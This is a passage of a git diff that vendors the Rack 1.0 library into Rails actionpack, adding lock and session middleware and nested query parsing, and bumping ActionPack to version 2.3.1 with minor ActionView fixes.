a/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/lock.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/lock.rb new file mode 100644 index 00000000..93238528 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/lock.rb @@ -0,0 +1,16 @@ +module Rack + class Lock + FLAG = 'rack.multithread'.freeze + + def initialize(app, lock = Mutex.new) + @app, @lock = app, lock + end + + def call(env) + old, env[FLAG] = env[FLAG], false + @lock.synchronize { @app.call(env) } + ensure + env[FLAG] = old + end + end +end diff --git a/vendor/plugins/rack/lib/rack/methodoverride.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/methodoverride.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/methodoverride.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/methodoverride.rb diff --git a/vendor/plugins/rack/lib/rack/mime.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/mime.rb similarity index 97% rename from vendor/plugins/rack/lib/rack/mime.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/mime.rb index 2e325670..5a6a73a9 100644 --- a/vendor/plugins/rack/lib/rack/mime.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/mime.rb @@ -8,10 +8,10 @@ module Rack # Also see the documentation for MIME_TYPES # # Usage: - # Rack::Utils.mime_type('.foo') + # Rack::Mime.mime_type('.foo') # # This is a shortcut for: - # Rack::Utils::MIME_TYPES.fetch('.foo', 'application/octet-stream') + # Rack::Mime::MIME_TYPES.fetch('.foo', 'application/octet-stream') def mime_type(ext, fallback='application/octet-stream') MIME_TYPES.fetch(ext, fallback) @@ -26,12 +26,12 @@ module Rack # # require 'webrick/httputils' # list = WEBrick::HTTPUtils.load_mime_types('/etc/mime.types') - # Rack::Utils::MIME_TYPES.merge!(list) + # Rack::Mime::MIME_TYPES.merge!(list) # # To add the list mongrel provides, use: # # require 'mongrel/handlers' - # Rack::Utils::MIME_TYPES.merge!(Mongrel::DirHandler::MIME_TYPES) + # Rack::Mime::MIME_TYPES.merge!(Mongrel::DirHandler::MIME_TYPES) MIME_TYPES = { ".3gp" => "video/3gpp", diff --git a/vendor/plugins/rack/lib/rack/mock.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/mock.rb similarity index 97% rename from vendor/plugins/rack/lib/rack/mock.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/mock.rb index f43b9af3..70852da3 100644 --- a/vendor/plugins/rack/lib/rack/mock.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/mock.rb @@ -97,6 +97,8 @@ module Rack env["rack.input"] = opts[:input] end + env["CONTENT_LENGTH"] ||= env["rack.input"].length.to_s + opts.each { |field, value| env[field] = value if String === field } @@ -116,9 +118,7 @@ module Rack @original_headers = headers @headers = Rack::Utils::HeaderHash.new headers.each { |field, values| - values.each { |value| - @headers[field] = value - } + @headers[field] = values @headers[field] = "" if values.empty? } diff --git a/vendor/plugins/rack/lib/rack/recursive.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/recursive.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/recursive.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/recursive.rb diff --git a/vendor/plugins/rack/lib/rack/reloader.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/reloader.rb similarity index 97% rename from vendor/plugins/rack/lib/rack/reloader.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/reloader.rb index 25ca2f9e..b17d8c09 100644 --- a/vendor/plugins/rack/lib/rack/reloader.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/reloader.rb @@ -25,7 +25,7 @@ module Rack @app.call(env) end - def reload!(stderr=STDERR) + def reload!(stderr=$stderr) need_reload = $LOADED_FEATURES.find_all { |loaded| begin if loaded =~ /\A[.\/]/ # absolute filename or 1.9 diff --git a/vendor/plugins/rack/lib/rack/request.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/request.rb similarity index 87% rename from vendor/plugins/rack/lib/rack/request.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/request.rb index 08021d0c..d77fa265 100644 --- a/vendor/plugins/rack/lib/rack/request.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/request.rb @@ -8,11 +8,23 @@ module Rack # req = Rack::Request.new(env) # req.post? # req.params["data"] + # + # The environment hash passed will store a reference to the Request object + # instantiated so that it will only instantiate if an instance of the Request + # object doesn't already exist. class Request # The environment of the request. attr_reader :env + def self.new(env) + if self == Rack::Request + env["rack.request"] ||= super + else + super + end + end + def initialize(env) @env = env end @@ -96,7 +108,7 @@ module Rack else @env["rack.request.query_string"] = query_string @env["rack.request.query_hash"] = - Utils.parse_query(query_string) + Utils.parse_nested_query(query_string) end end @@ -111,9 +123,20 @@ module Rack @env["rack.request.form_input"] = @env["rack.input"] unless @env["rack.request.form_hash"] = Utils::Multipart.parse_multipart(env) - @env["rack.request.form_vars"] = @env["rack.input"].read - @env["rack.request.form_hash"] = Utils.parse_query(@env["rack.request.form_vars"]) - @env["rack.input"].rewind if @env["rack.input"].respond_to?(:rewind) + form_vars = @env["rack.input"].read + + # Fix for Safari Ajax postings that always append \0 + form_vars.sub!(/\0\z/, '') + + @env["rack.request.form_vars"] = form_vars + @env["rack.request.form_hash"] = Utils.parse_nested_query(form_vars) + + begin + @env["rack.input"].rewind if @env["rack.input"].respond_to?(:rewind) + rescue Errno::ESPIPE + # Handles exceptions raised by input streams that cannot be rewound + # such as when using plain CGI under Apache + end end @env["rack.request.form_hash"] else diff --git a/vendor/plugins/rack/lib/rack/response.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/response.rb similarity index 94% rename from vendor/plugins/rack/lib/rack/response.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/response.rb index 97deb6ef..a5931101 100644 --- a/vendor/plugins/rack/lib/rack/response.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/response.rb @@ -61,12 +61,13 @@ module Rack expires = "; expires=" + value[:expires].clone.gmtime. strftime("%a, %d-%b-%Y %H:%M:%S GMT") if value[:expires] secure = "; secure" if value[:secure] + httponly = "; HttpOnly" if value[:httponly] value = value[:value] end value = [value] unless Array === value cookie = Utils.escape(key) + "=" + value.map { |v| Utils.escape v }.join("&") + - "#{domain}#{path}#{expires}#{secure}" + "#{domain}#{path}#{expires}#{secure}#{httponly}" case self["Set-Cookie"] when Array @@ -100,7 +101,6 @@ module Rack header.delete "Content-Type" [status.to_i, header.to_hash, []] else - header["Content-Length"] ||= @length.to_s [status.to_i, header.to_hash, self] end end @@ -112,10 +112,16 @@ module Rack @block.call(self) if @block end + # Append to body and update Content-Length. + # + # NOTE: Do not mix #write and direct #body access! + # def write(str) s = str.to_s @length += s.size @writer.call s + + header["Content-Length"] = @length.to_s str end diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/abstract/id.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/abstract/id.rb new file mode 100644 index 00000000..218144c1 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/abstract/id.rb @@ -0,0 +1,142 @@ +# AUTHOR: blink ; blink#ruby-lang@irc.freenode.net +# bugrep: Andreas Zehnder + +require 'time' +require 'rack/request' +require 'rack/response' + +module Rack + + module Session + + module Abstract + + # ID sets up a basic framework for implementing an id based sessioning + # service. Cookies sent to the client for maintaining sessions will only + # contain an id reference. Only #get_session and #set_session are + # required to be overwritten. + # + # All parameters are optional. + # * :key determines the name of the cookie, by default it is + # 'rack.session' + # * :path, :domain, :expire_after, :secure, and :httponly set the related + # cookie options as by Rack::Response#add_cookie + # * :defer will not set a cookie in the response. + # * :renew (implementation dependent) will prompt the generation of a new + # session id, and migration of data to be referenced at the new id. If + # :defer is set, it will be overridden and the cookie will be set. + # * :sidbits sets the number of bits in length that a generated session + # id will be. + # + # These options can be set on a per request basis, at the location of + # env['rack.session.options']. Additionally the id of the session can be + # found within the options hash at the key :id. It is highly not + # recommended to change its value. + # + # Is Rack::Utils::Context compatible. + + class ID + DEFAULT_OPTIONS = { + :path => '/', + :domain => nil, + :expire_after => nil, + :secure => false, + :httponly => true, + :defer => false, + :renew => false, + :sidbits => 128 + } + + attr_reader :key, :default_options + def initialize(app, options={}) + @app = app + @key = options[:key] || "rack.session" + @default_options = self.class::DEFAULT_OPTIONS.merge(options) + end + + def call(env) + context(env) + end + + def context(env, app=@app) + load_session(env) + status, headers, body = app.call(env) + commit_session(env, status, headers, body) + end + + private + + # Generate a new session id using Ruby #rand. The size of the + # session id is controlled by the :sidbits option. + # Monkey patch this to use custom methods for session id generation. + + def generate_sid + "%0#{@default_options[:sidbits] / 4}x" % + rand(2**@default_options[:sidbits] - 1) + end + + # Extracts the session id from provided cookies and passes it and the + # environment to #get_session. It then sets the resulting session into + # 'rack.session', and places options and session metadata into + # 'rack.session.options'. + + def load_session(env) + request = Rack::Request.new(env) + session_id = request.cookies[@key] + + begin + session_id, session = get_session(env, session_id) + env['rack.session'] = session + rescue + env['rack.session'] = Hash.new + end + + env['rack.session.options'] = @default_options. + merge(:id => session_id) + end + + # Acquires the session from the environment and the session id from + # the session options and passes them to #set_session. If successful + # and the :defer option is not true, a cookie will be added to the + # response with the session's id. + + def commit_session(env, status, headers, body) + session = env['rack.session'] + options = env['rack.session.options'] + session_id = options[:id] + + if not session_id = set_session(env, session_id, session, options) + env["rack.errors"].puts("Warning! #{self.class.name} failed to save session. Content dropped.") + [status, headers, body] + elsif options[:defer] and not options[:renew] + env["rack.errors"].puts("Defering cookie for #{session_id}") if $VERBOSE + [status, headers, body] + else + cookie = Hash.new + cookie[:value] = session_id + cookie[:expires] = Time.now + options[:expire_after] unless options[:expire_after].nil? + response = Rack::Response.new(body, status, headers) + response.set_cookie(@key, cookie.merge(options)) + response.to_a + end + end + + # All thread safety and session retrival proceedures should occur here. + # Should return [session_id, session]. + # If nil is provided as the session id, generation of a new valid id + # should occur within. + + def get_session(env, sid) + raise '#get_session not implemented.' + end + + # All thread safety and session storage proceedures should occur here. + # Should return true or false dependant on whether or not the session + # was saved or not. + def set_session(env, sid, session, options) + raise '#set_session not implemented.' + end + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/session/cookie.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/cookie.rb similarity index 98% rename from vendor/plugins/rack/lib/rack/session/cookie.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/cookie.rb index 3dba358c..eace9bd0 100644 --- a/vendor/plugins/rack/lib/rack/session/cookie.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/cookie.rb @@ -1,4 +1,6 @@ require 'openssl' +require 'rack/request' +require 'rack/response' module Rack diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/memcache.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/memcache.rb new file mode 100644 index 00000000..4a65cbf3 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/memcache.rb @@ -0,0 +1,109 @@ +# AUTHOR: blink ; blink#ruby-lang@irc.freenode.net + +require 'rack/session/abstract/id' +require 'memcache' + +module Rack + module Session + # Rack::Session::Memcache provides simple cookie based session management. + # Session data is stored in memcached. The corresponding session key is + # maintained in the cookie. + # You may treat Session::Memcache as you would Session::Pool with the + # following caveats. + # + # * Setting :expire_after to 0 would note to the Memcache server to hang + # onto the session data until it would drop it according to it's own + # specifications. However, the cookie sent to the client would expire + # immediately. + # + # Note that memcache does drop data before it may be listed to expire. For + # a full description of behaviour, please see memcache's documentation. + + class Memcache < Abstract::ID + attr_reader :mutex, :pool + DEFAULT_OPTIONS = Abstract::ID::DEFAULT_OPTIONS.merge \ + :namespace => 'rack:session', + :memcache_server => 'localhost:11211' + + def initialize(app, options={}) + super + + @mutex = Mutex.new + @pool = MemCache. + new @default_options[:memcache_server], @default_options + raise 'No memcache servers' unless @pool.servers.any?{|s|s.alive?} + end + + def generate_sid + loop do + sid = super + break sid unless @pool.get(sid, true) + end + end + + def get_session(env, sid) + session = @pool.get(sid) if sid + @mutex.lock if env['rack.multithread'] + unless sid and session + env['rack.errors'].puts("Session '#{sid.inspect}' not found, initializing...") if $VERBOSE and not sid.nil? + session = {} + sid = generate_sid + ret = @pool.add sid, session + raise "Session collision on '#{sid.inspect}'" unless /^STORED/ =~ ret + end + session.instance_variable_set('@old', {}.merge(session)) + return [sid, session] + rescue MemCache::MemCacheError, Errno::ECONNREFUSED # MemCache server cannot be contacted + warn "#{self} is unable to find server." + warn $!.inspect + return [ nil, {} ] + ensure + @mutex.unlock if env['rack.multithread'] + end + + def set_session(env, session_id, new_session, options) + expiry = options[:expire_after] + expiry = expiry.nil? ? 0 : expiry + 1 + + @mutex.lock if env['rack.multithread'] + session = @pool.get(session_id) || {} + if options[:renew] or options[:drop] + @pool.delete session_id + return false if options[:drop] + session_id = generate_sid + @pool.add session_id, 0 # so we don't worry about cache miss on #set + end + old_session = new_session.instance_variable_get('@old') || {} + session = merge_sessions session_id, old_session, new_session, session + @pool.set session_id, session, expiry + return session_id + rescue MemCache::MemCacheError, Errno::ECONNREFUSED # MemCache server cannot be contacted + warn "#{self} is unable to find server." + warn $!.inspect + return false + ensure + @mutex.unlock if env['rack.multithread'] + end + + private + + def merge_sessions sid, old, new, cur=nil + cur ||= {} + unless Hash === old and Hash === new + warn 'Bad old or new sessions provided.' + return cur + end + + delete = old.keys - new.keys + warn "//@#{sid}: delete #{delete*','}" if $VERBOSE and not delete.empty? + delete.each{|k| cur.delete k } + + update = new.keys.select{|k| new[k] != old[k] } + warn "//@#{sid}: update #{update*','}" if $VERBOSE and not update.empty? + update.each{|k| cur[k] = new[k] } + + cur + end + end + end +end diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/pool.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/pool.rb new file mode 100644 index 00000000..f6f87408 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/pool.rb @@ -0,0 +1,100 @@ +# AUTHOR: blink ; blink#ruby-lang@irc.freenode.net +# THANKS: +# apeiros, for session id generation, expiry setup, and threadiness +# sergio, threadiness and bugreps + +require 'rack/session/abstract/id' +require 'thread' + +module Rack + module Session + # Rack::Session::Pool provides simple cookie based session management. + # Session data is stored in a hash held by @pool. + # In the context of a multithreaded environment, sessions being + # committed to the pool is done in a merging manner. + # + # The :drop option is available in rack.session.options if you with to + # explicitly remove the session from the session cache. + # + # Example: + # myapp = MyRackApp.new + # sessioned = Rack::Session::Pool.new(myapp, + # :domain => 'foo.com', + # :expire_after => 2592000 + # ) + # Rack::Handler::WEBrick.run sessioned + + class Pool < Abstract::ID + attr_reader :mutex, :pool + DEFAULT_OPTIONS = Abstract::ID::DEFAULT_OPTIONS.merge :drop => false + + def initialize(app, options={}) + super + @pool = Hash.new + @mutex = Mutex.new + end + + def generate_sid + loop do + sid = super + break sid unless @pool.key? sid + end + end + + def get_session(env, sid) + session = @pool[sid] if sid + @mutex.lock if env['rack.multithread'] + unless sid and session + env['rack.errors'].puts("Session '#{sid.inspect}' not found, initializing...") if $VERBOSE and not sid.nil? + session = {} + sid = generate_sid + @pool.store sid, session + end + session.instance_variable_set('@old', {}.merge(session)) + return [sid, session] + ensure + @mutex.unlock if env['rack.multithread'] + end + + def set_session(env, session_id, new_session, options) + @mutex.lock if env['rack.multithread'] + session = @pool[session_id] + if options[:renew] or options[:drop] + @pool.delete session_id + return false if options[:drop] + session_id = generate_sid + @pool.store session_id, 0 + end + old_session = new_session.instance_variable_get('@old') || {} + session = merge_sessions session_id, old_session, new_session, session + @pool.store session_id, session + return session_id + rescue + warn "#{new_session.inspect} has been lost." + warn $!.inspect + ensure + @mutex.unlock if env['rack.multithread'] + end + + private + + def merge_sessions sid, old, new, cur=nil + cur ||= {} + unless Hash === old and Hash === new + warn 'Bad old or new sessions provided.' + return cur + end + + delete = old.keys - new.keys + warn "//@#{sid}: dropping #{delete*','}" if $DEBUG and not delete.empty? + delete.each{|k| cur.delete k } + + update = new.keys.select{|k| new[k] != old[k] } + warn "//@#{sid}: updating #{update*','}" if $DEBUG and not update.empty? + update.each{|k| cur[k] = new[k] } + + cur + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/showexceptions.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/showexceptions.rb similarity index 99% rename from vendor/plugins/rack/lib/rack/showexceptions.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/showexceptions.rb index 3fee6ae0..697bc41f 100644 --- a/vendor/plugins/rack/lib/rack/showexceptions.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/showexceptions.rb @@ -1,6 +1,7 @@ require 'ostruct' require 'erb' require 'rack/request' +require 'rack/utils' module Rack # Rack::ShowExceptions catches all exceptions raised from the app it @@ -335,7 +336,7 @@ TEMPLATE = <<'HTML'

- You're seeing this error because you use Rack::ShowException. + You're seeing this error because you use Rack::ShowExceptions.

diff --git a/vendor/plugins/rack/lib/rack/showstatus.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/showstatus.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/showstatus.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/showstatus.rb diff --git a/vendor/plugins/rack/lib/rack/static.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/static.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/static.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/static.rb diff --git a/vendor/plugins/rack/lib/rack/urlmap.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/urlmap.rb similarity index 89% rename from vendor/plugins/rack/lib/rack/urlmap.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/urlmap.rb index 01c9603e..eb1457a8 100644 --- a/vendor/plugins/rack/lib/rack/urlmap.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/urlmap.rb @@ -31,15 +31,18 @@ module Rack def call(env) path = env["PATH_INFO"].to_s.squeeze("/") + script_name = env['SCRIPT_NAME'] hHost, sName, sPort = env.values_at('HTTP_HOST','SERVER_NAME','SERVER_PORT') @mapping.each { |host, location, app| next unless (hHost == host || sName == host \ || (host.nil? && (hHost == sName || hHost == sName+':'+sPort))) next unless location == path[0, location.size] next unless path[location.size] == nil || path[location.size] == ?/ - env["SCRIPT_NAME"] += location - env["PATH_INFO"] = path[location.size..-1] - return app.call(env) + + return app.call( + env.merge( + 'SCRIPT_NAME' => (script_name + location), + 'PATH_INFO' => path[location.size..-1])) } [404, {"Content-Type" => "text/plain"}, ["Not Found: #{path}"]] end diff --git a/vendor/plugins/rack/lib/rack/utils.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/utils.rb similarity index 73% rename from vendor/plugins/rack/lib/rack/utils.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/utils.rb index 3fb7a703..f352cb67 100644 --- a/vendor/plugins/rack/lib/rack/utils.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/utils.rb @@ -29,7 +29,6 @@ module Rack # and ';' characters. You can also use this to parse # cookies by changing the characters used in the second # parameter (which defaults to '&;'). - def parse_query(qs, d = '&;') params = {} @@ -51,6 +50,49 @@ module Rack end module_function :parse_query + def parse_nested_query(qs, d = '&;') + params = {} + + (qs || '').split(/[#{d}] */n).each do |p| + k, v = unescape(p).split('=', 2) + normalize_params(params, k, v) + end + + return params + end + module_function :parse_nested_query + + def normalize_params(params, name, v = nil) + name =~ %r([\[\]]*([^\[\]]+)\]*) + k = $1 || '' + after = $' || '' + + return if k.empty? + + if after == "" + params[k] = v + elsif after == "[]" + params[k] ||= [] + raise TypeError unless params[k].is_a?(Array) + params[k] << v + elsif after =~ %r(^\[\]\[([^\[\]]+)\]$) || after =~ %r(^\[\](.+)$) + child_key = $1 + params[k] ||= [] + raise TypeError unless params[k].is_a?(Array) + if params[k].last.is_a?(Hash) && !params[k].last.key?(child_key) + normalize_params(params[k].last, child_key, v) + else + params[k] << normalize_params({}, child_key, v) + end + else + params[k] ||= {} + params[k] = normalize_params(params[k], after, v) + end + + return params + end + module_function :normalize_params + def build_query(params) params.map { |k, v| if v.class == Array @@ -102,57 +144,29 @@ module Rack end module_function :select_best_encoding - # The recommended manner in which to implement a contexting application - # is to define a method #context in which a new Context is instantiated. - # - # As a Context is a glorified block, it is highly recommended that you - # define the contextual block within the application's operational scope. - # This would typically the application as you're place into Rack's stack. - # - # class MyObject - # ... - # def context app - # Rack::Utils::Context.new app do |env| - # do_stuff - # response = app.call(env) - # do_more_stuff - # end - # end - # ... - # end - # - # mobj = MyObject.new - # app = mobj.context other_app - # Rack::Handler::Mongrel.new app - class Context < Proc - alias_method :old_inspect, :inspect + # Context allows the use of a compatible middleware at different points + # in a request handling stack. A compatible middleware must define + # #context which should take the arguments env and app. The first of which + # would be the request environment. The second of which would be the rack + # application that the request would be forwarded to. + class Context attr_reader :for, :app - def initialize app_f, app_r - raise 'running context not provided' unless app_f + + def initialize(app_f, app_r) raise 'running context does not respond to #context' unless app_f.respond_to? :context - raise 'application context not provided' unless app_r - raise 'application context does not respond to #call' unless app_r.respond_to? :call - @for = app_f - @app = app_r + @for, @app = app_f, app_r end - def inspect - "#{old_inspect} ==> #{@for.inspect} ==> #{@app.inspect}" + + def call(env) + @for.context(env, @app) end - def context app_r - raise 'new application context not provided' unless app_r - raise 'new application context does not respond to #call' unless app_r.respond_to? :call - @for.context app_r + + def recontext(app) + self.class.new(@for, app) end - def pretty_print pp - pp.text old_inspect - pp.nest 1 do - pp.breakable - pp.text '=for> ' - pp.pp @for - pp.breakable - pp.text '=app> ' - pp.pp @app - end + + def context(env, app=@app) + recontext(app).call(env) end end @@ -165,7 +179,14 @@ module Rack end def to_hash - {}.replace(self) + inject({}) do |hash, (k,v)| + if v.respond_to? :to_ary + hash[k] = v.to_ary.join("\n") + else + hash[k] = v + end + hash + end end def [](k) @@ -276,7 +297,7 @@ module Rack status = input.read(boundary_size) raise EOFError, "bad content body" unless status == boundary + EOL - rx = /(?:#{EOL})?#{Regexp.quote boundary}(#{EOL}|--)/ + rx = /(?:#{EOL})?#{Regexp.quote boundary}(#{EOL}|--)/n loop { head = nil @@ -319,26 +340,37 @@ module Rack content_length = -1 if $1 == "--" end - if filename + if filename == "" + # filename is blank which means no file has been selected + data = nil + elsif filename body.rewind + + # Take the basename of the upload's original filename. + # This handles the full Windows paths given by Internet Explorer + # (and perhaps other broken user agents) without affecting + # those which give the lone filename. + filename =~ /^(?:.*[:\\\/])?(.*)/m + filename = $1 + data = {:filename => filename, :type => content_type, :name => name, :tempfile => body, :head => head} else data = body end - if name - if name =~ /\[\]\z/ - params[name] ||= [] - params[name] << data - else - params[name] = data - end - end + Utils.normalize_params(params, name, data) break if buf.empty? || content_length == -1 } + begin + input.rewind if input.respond_to?(:rewind) + rescue Errno::ESPIPE + # Handles exceptions raised by input streams that cannot be rewound + # such as when using plain CGI under Apache + end + params end end diff --git a/vendor/rails/actionpack/lib/action_controller/verification.rb b/vendor/rails/actionpack/lib/action_controller/verification.rb index 7bf09ba6..c62b81b6 100644 --- a/vendor/rails/actionpack/lib/action_controller/verification.rb +++ b/vendor/rails/actionpack/lib/action_controller/verification.rb @@ -90,7 +90,7 @@ module ActionController #:nodoc: def verify_action(options) #:nodoc: if prereqs_invalid?(options) flash.update(options[:add_flash]) if options[:add_flash] - response.headers.update(options[:add_headers]) if options[:add_headers] + response.headers.merge!(options[:add_headers]) if options[:add_headers] apply_remaining_actions(options) unless performed? end end diff --git a/vendor/rails/actionpack/lib/action_pack/version.rb b/vendor/rails/actionpack/lib/action_pack/version.rb index f20e44a7..f03a2a76 100644 --- a/vendor/rails/actionpack/lib/action_pack/version.rb +++ b/vendor/rails/actionpack/lib/action_pack/version.rb @@ -2,7 +2,7 @@ module ActionPack #:nodoc: module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 0 + TINY = 1 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/vendor/rails/actionpack/lib/action_view.rb b/vendor/rails/actionpack/lib/action_view.rb index 0b710bd8..1f1ff9dd 100644 --- a/vendor/rails/actionpack/lib/action_view.rb +++ b/vendor/rails/actionpack/lib/action_view.rb @@ -44,6 +44,7 @@ module ActionView autoload :Renderable, 'action_view/renderable' autoload :RenderablePartial, 'action_view/renderable_partial' autoload :Template, 'action_view/template' + autoload :ReloadableTemplate, 'action_view/reloadable_template' autoload :TemplateError, 'action_view/template_error' autoload :TemplateHandler, 'action_view/template_handler' autoload :TemplateHandlers, 'action_view/template_handlers' diff --git a/vendor/rails/actionpack/lib/action_view/base.rb b/vendor/rails/actionpack/lib/action_view/base.rb index 70a0ba91..65b20623 100644 --- a/vendor/rails/actionpack/lib/action_view/base.rb +++ b/vendor/rails/actionpack/lib/action_view/base.rb @@ -182,6 +182,15 @@ module ActionView #:nodoc: # that alert()s the caught exception (and then re-raises it). cattr_accessor :debug_rjs + # Specify whether templates should be cached. Otherwise the file we be read everytime it is accessed. + # Automaticaly reloading templates are not thread safe and should only be used in development mode. + @@cache_template_loading = false + cattr_accessor :cache_template_loading + + def self.cache_template_loading? + ActionController::Base.allow_concurrency || cache_template_loading + end + attr_internal :request delegate :request_forgery_protection_token, :template, :params, :session, :cookies, :response, :headers, @@ -222,6 +231,8 @@ module ActionView #:nodoc: def view_paths=(paths) @view_paths = self.class.process_view_paths(paths) + # we might be using ReloadableTemplates, so we need to let them know this a new request + @view_paths.load! end # Returns the result of a render that's dictated by the options hash. The primary options are: @@ -243,8 +254,8 @@ module ActionView #:nodoc: if options[:layout] _render_with_layout(options, local_assigns, &block) elsif options[:file] - tempalte = self.view_paths.find_template(options[:file], template_format) - tempalte.render_template(self, options[:locals]) + template = self.view_paths.find_template(options[:file], template_format) + template.render_template(self, options[:locals]) elsif options[:partial] render_partial(options) elsif options[:inline] diff --git a/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb index f6abea38..a32beb61 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb @@ -516,7 +516,8 @@ module ActionView def compute_public_path(source, dir, ext = nil, include_host = true) has_request = @controller.respond_to?(:request) - if ext && (File.extname(source).blank? || File.exist?(File.join(ASSETS_DIR, dir, "#{source}.#{ext}"))) + source_ext = File.extname(source)[1..-1] + if ext && (source_ext.blank? || (ext != source_ext && File.exist?(File.join(ASSETS_DIR, dir, "#{source}.#{ext}")))) source += ".#{ext}" end diff --git a/vendor/rails/actionpack/lib/action_view/helpers/atom_feed_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/atom_feed_helper.rb index cd256849..dc449758 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/atom_feed_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/atom_feed_helper.rb @@ -30,7 +30,7 @@ module ActionView # app/views/posts/index.atom.builder: # atom_feed do |feed| # feed.title("My great blog!") - # feed.updated((@posts.first.created_at)) + # feed.updated(@posts.first.created_at) # # for post in @posts # feed.entry(post) do |entry| diff --git a/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb index b4c1adbe..b7ef1fb9 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb @@ -931,7 +931,7 @@ module ActionView end def default_datetime(options) - return if options[:include_blank] + return if options[:include_blank] || options[:prompt] case options[:default] when nil diff --git a/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb index 2ac24278..a589bcba 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb @@ -5,17 +5,24 @@ require 'action_view/helpers/form_tag_helper' module ActionView module Helpers - # Form helpers are designed to make working with models much easier compared to using just standard HTML - # elements by providing a set of methods for creating forms based on your models. This helper generates the HTML - # for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form - # is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller. + # Form helpers are designed to make working with models much easier + # compared to using just standard HTML elements by providing a set of + # methods for creating forms based on your models. This helper generates + # the HTML for forms, providing a method for each sort of input + # (e.g., text, password, select, and so on). When the form is submitted + # (i.e., when the user hits the submit button or form.submit is + # called via JavaScript), the form inputs will be bundled into the + # params object and passed back to the controller. # - # There are two types of form helpers: those that specifically work with model attributes and those that don't. - # This helper deals with those that work with model attributes; to see an example of form helpers that don't work - # with model attributes, check the ActionView::Helpers::FormTagHelper documentation. + # There are two types of form helpers: those that specifically work with + # model attributes and those that don't. This helper deals with those that + # work with model attributes; to see an example of form helpers that don't + # work with model attributes, check the 